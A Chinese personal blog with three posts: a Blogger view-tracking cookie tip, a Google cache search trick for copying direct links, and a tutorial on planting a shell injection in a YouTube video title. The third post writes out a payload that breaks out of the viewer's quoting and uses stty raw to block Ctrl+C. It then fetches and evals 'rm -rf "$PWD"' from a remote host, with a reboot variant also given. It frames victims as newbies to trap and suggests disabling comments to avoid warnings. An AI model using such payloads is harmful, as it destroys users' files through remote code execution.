Friday 22 January 2016

如何玩 blogger


直接上图~


谷歌回应:



不是很严重的 bug, 所以他们应该很懒 fix,酱就乘还米有 fix 的时候玩下吧, :p

不过不要玩我的 blog 哦 , 已经够少 page views 了还玩~

[2016 九月更新] 
改版的 "Don't track my views for this blog." 很 buggy,必须去http://diannaoxiaobai.blogspot.com 和 http://diannaoxiaobai.blogspot.my 两个 hosts,  inspect console, 手动运行 document.cookie = "_ns=2; expires=Wed, 11 Dec 2030 01:01:01 GMT; path=/" 才可 (你不放 expires 日期的话,重启浏览器会不见 cookie)。


Sunday 10 January 2016

谷歌 - 如何复制直接链接

前言: 此文用的是 firefox 和 chrome 浏览器。


如果你谷歌搜索 mocha ais:


可能你不想给谷歌 track 你,又或者做 note, 不想 redirect 等等原因...

想在不打开新一页的情况下, 想用右键直接复制链接:


它下面的 link 就从:

http://www.tripadvisor.co.uk/LocationPhotoDirectLink-g298316-d4084426-i133563838-Old_Malaya_Kopitiam-Shah_Alam_Petaling_District_Selangor.html

变成长长且 decoded 的:

https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=0ahUKEwjX48392p7KAhUScI4KHbAvCEYQFggcMAA&url=http%3A%2F%2Fwww.tripadvisor.co.uk%2FLocationPhotoDirectLink-g298316-d4084426-i133563838-Old_Malaya_Kopitiam-Shah_Alam_Petaling_District_Selangor.html&usg=AFQjCNFh3sR4t1GrSftuCNWspylUReqr-w&bvm=bv.111396085,d.c2E


网上很多类似的问题:
1. Copy raw link found by Google search, not the one with extra redirect added
2. How can I copy the link in Google without openning the link and the “Google stuff” in the URL? [closed]
3. When copying a link from a Google search, how do I get rid of the “www.google.com” reference in the pasted link?
4. “Real” link to file in Google search results? [closed]
5. How can I make Firefox change google search result links to direct links to what they say they are? [closed]

它们的解决方法形形色色, 用 addon 啊, decode 啊,用 javascript 啊,用 mobile 版啊, 空白地方等等...

有些方法不稳定, 有些方法 browser dependent, 或者麻烦 copy-paste

也可以 copy 酱去 blogger editor (Club sandwich + Mocha Ais - TripAdvisor),不过很麻烦~

用 mobile 版其实是可以的(只要改 user-agent), 但是有两个问题:
1. layout 不一样,naivigate 怪怪的
2. 谷歌的搜索结果也不一样, 因为谷歌 spider 是分开的,mobile UA scrape mobile 版, web UA scrape web 版。

最明显的例子,我们去 chrome -> inspect -> Emulation tab -> Network 那里换 user agent 去 iphone, 然后搜索 facebook:

拿到的是 mobile 版的 m.facebook.com 链接。


所以,今天我们来学新招,复制直接链接,同时防止谷歌 stalk 你 click 什么。


首先, 我们去 url bar 输入浏览 cache:google.com



它就会来到这页:



把那个长长的地址 http://webcache.googleusercontent.com/search?q=cache%3Agoogle.com&ie=utf-8&oe=utf-8 的 ?q= 那里丢掉后面的,改成 ?q=cache:mocha, 变成 http://webcache.googleusercontent.com/search?q=cache:mocha 

注:
[1] 这时你要把前面的 http 改成 https 也可以
[2] 有了 history 后,以后可以直接输入 we 开头, 直接更改, 不需要 cache:google.com。

就会来到这页:



你会看见搜索的结果包括了 cache:mocha, 而不是我们要的 mocha 而已。

如果直接改成 mocha 就会 error:



米关系,我们先在cache: 后面丢掉 mocha, 输入乱码, 如 cache:asu521holelalaX



酱就能确保谷歌无法搜到这个字眼。

然后,在 cache:asu521holelalaX 后面加上 OR mocha ais 变成 cache:asu521holelalaX OR mocha ais



然后就搞掂了,只搜到 mocha ais,可以直接复制链接了:

现在可以直接在 OR 后面, 更改其它你要搜索的关键字。(由于我这篇 blog 的关键字出现在 google search 被混淆, 所以你不能再用 mocha ais 了, 其它可以 :p)

你可以 bookmark 它,方便下次搜索, 如图, New Bookmark 在 firefox bookmark bar。

这个默认是click 链接后就 ganti 这页, 但如果你不想 copy 在 new tab, 而是 click 链接后 open in new tab,可以在 bookmark url 后面加上 &newwindow=1, 变成 http://webcache.googleusercontent.com/search?btnG=Search&q=cache%3Aasu521holelalaXY+OR+mocha+ais&num=10&newwindow=1

如果是要 filter by 小时,天,周, 月, 年, 就在后面加上 &tbs=qdr: 以及相应的 h, d, w, m, y, 比如说 filter by 天,就会变成 http://webcache.googleusercontent.com/search?btnG=Search&q=cache%3Aasu521holelalaXY+OR+mocha+ais&num=10&newwindow=1&tbs=qdr:d如果是日期之间,就加上 &tbs=cdr:1,cd_min:1/1/2016,cd_max:1/3/2016 这类格式,前面的 cdr:1 不需要改。其它 pattern 可以自己从普通的谷歌搜索的 url bar 那里看。

默认是 10 个结果,如果要增加到 20, 就加上 &num=20

你也会发现那些 results 没有下箭头去 cache 网页的功能,米关系,只要复制直接链接后,在 url bar 上,输入 cache:, 然后在后面粘贴那个链接, 变成如下:

cache:http://www.tripadvisor.co.uk/LocationPhotoDirectLink-g298316-d4084426-i133563838-Old_Malaya_Kopitiam-Shah_Alam_Petaling_District_Selangor.html

(注: cache: 链接不可以直接在网页按哦,要在 url bar, 其实它原理就是 google search with cache:链接)

就能去到你要的 cache lor。





Monday 4 January 2016

如何用 youtube 大扫除

新年要到了 (◔‿^) ♥, 也是家家户户大扫除的时候。

今天,我们来学如何善用 youtube, 然后帮小白的电脑大扫除。


首先,我们要准备一个 malicious 的视频标题:

我们的目标是小白使用 terminal 播放视频, 他想用单引号来 escape 下载好的视频标题,所以只要那个标题的中间多了两个单引号,那么小白外围的单引号就等于抵消成两个 tokens。

假设正常的标题是 ABC<空格>DEF, 直接给 player 播放就会当成 ABC 和 DEF 两个 token(视频标题),可是我们没有视频叫 ABC, 也没有视频叫 DEF, 我们只有叫 ABC<空格>DEF 的视频, 所以给 player 播放就会 error。

这时候,小白就会加单引号或双引号,它就会变成 'ABC<空格>DEF' 完整的单个 token, 然后 player 就能顺利播放。

可是如果视频标题是 ABC ' ' DEF, 那么如果小白没留意到中间的单引号,反而习惯性的在外围加上单引号, 就会变成 'ABC'  'DEF' , 也就是没 escape 到, 仍然是把一个视频名字分成两个 token, 当然无法播放。

如果视频标题是 ABC ' XXX 指令 ' DEF, 那么一旦不小心单引号 escape, 就会变成  'ABC ' XXX 指令 ' DEF', 也就是 4 个单引号和三个 tokens,前后 token 是分开的视频名字,中间的 token 就是想要运行的指令。但是这样是不够的,要加上 ; colon,如 'ABC '; XXX 指令; ' DEF' ,才能让 shell interpreter 把 XXX 当作可以运行的指令。那个第二个 ; colon 取决于你的指令是什么,是 optional 的。其它选择是 &&。由于 youtube 会转换 || 去 underscore, 所以不能 || 或 pipeline。除此之外,星号 (expansion 用途) 会转去 underscore, < 和 > (重定向用途)不能当标题,/ (网址用途) 不能当文件命名,这些限制很大程度考验我们要如何设计标题。

小白特地 escape 反而变到没 escape, 我称这招为 "Malicious Anti-escape"



懂了原理后,让我们来精心炮制 malicious 视频标题 :p

先用指令 mkdir -p test/a/b/c; touch test/a/b/h; touch test/lala; cd test; l 准备一些 dummy dirs/files

用 touch 做标题,然后用 mplayer 实验。我上面讲过需要中间 4 个单引号,下面那个 touch 外面是小白放的所以不用制作, 只需要制作中间的那个单引号。要制作单引号的方法之一是外围两个单引号终止左右边从而变成 2 个 tokens, 然后两个双引号保护单引号, 就成为  ' " ' " '。三个 tokens。

因为很多小白都懂 rm -rf, 所以我们要把它丢在"不容易辨认"的 HTTP 请求里头。可是也有小白懂 wget 和 curl,所以必须用罕见且看起来不像指令的英文字。第一种选择是蛮正常的 http(httpie 指令),不过由于电脑装上 httpie 的人应该都懂 http, 所以不在考量之内。这时候默认安装且看起来不像指令的 GET 就脱颖而出了。`GET limkokhole.github.io` 会发出 HTTP 请求拿到纯文本 rm -rf "$PWD"。然后外围的 `` (backtick) 运行指令。我的例子只是 mention env variable 的可行性,如果你不要用 rm -rf "$PWD", 而是直接来大名鼎鼎的 rm -rf ./*, 就可以省掉 eval。

不过这样是不足够的,如果小白是用 mplayer 就比较容易进 rm -rf 那里,但是如果小白是用 vlc, 他一旦发现 error, 就会去 Ctrl+C stop 掉它。如果它连续按就会在需要一点 delay 的  HTTP 请求, GET limkokhole.github.io 那里跳出来而来不及执行 rm -rf。解决方法就是在 GET 之前补上 stty raw 扰乱他的 Ctrl+C input。

还有一点,如果你觉得习惯用 double quotes 的小白比较多(根据我的调查, 可能比单引号要多, 但必须考量那些不懂区分双单引号的人的 bash 水平也随之低下, 选择 player 播放,而不是 command line 播放, 你也就无法得逞) 就要做相反的 escape, 也就是单引号变成双引号, and vice versa 来处理。


 拿到标题后,就去 github, clone 自己的 repo,然后修改成 rm -rf "$PWD" (当然只是讲吧了,上面的截屏已经是修改了,不然怎样 test)。因为等下文件命名不能用 slash, 所以不能用一般的 url shortening, 所以选用支持 subdomain 的 github:


然后浏览 http://limkokhole.github.io/ 就能可能看到修改后的 rm -rf "$PWD" (小更正: "$PWD" 忘记放 double quotes 来包含有空格的绝对路径~):


我们要去 youtube,上载和标题相似的视频:


上载完毕后,把标题改成:
The blit - The first Unix graphical multi-programming terminal by Rob Pike, x86_64 cpu';stty raw;eval `GET limkokhole.github.io`;' bell-lab protocol history 1970


如果太长, 之后改也可以,我最终调整至 The blit - Unix graphical multi-programming terminal';stty raw;eval `GET limkokhole.github.io`;' lab


publish 后,去 Advanced settings, 确保不要给人 comment/dislike 的机会, Save changes:



然后就搞掂了,坐等 linux 小白上钩, 下面是以上钩的角度所拍摄:



如何 defense:

[1.] 用 autocomplete
[更新] 如果不小心 copy 到片名左边的单引号再 autocomplete 也是一样中(我当时自己也吓到一下,幸好我真的没傻到留着那个 github rm -rf。 囧)
[2.] 常 backup 重要的文件
[3.] 关注我的 blog, 提升电脑知识 :)


如果不要大扫除酱残忍,可以来个 harmless 一点的:

The blit - Unix graphical multi-programming terminal';init 6;'lab-DS6l7hLEatM.mp4

酱就只会 reboot 电脑而已 lor。


[更新]
我写这篇 blog 的 14 天后,gnu 的 ls 更改成默认 quote 了:


其它讨论链接: [1] [2] [3]

Youtube 加自己重复的 views 才 20 views,真正看我 blog 的人实际上只有小猫两三只,更别说看得懂,所以纯属巧合。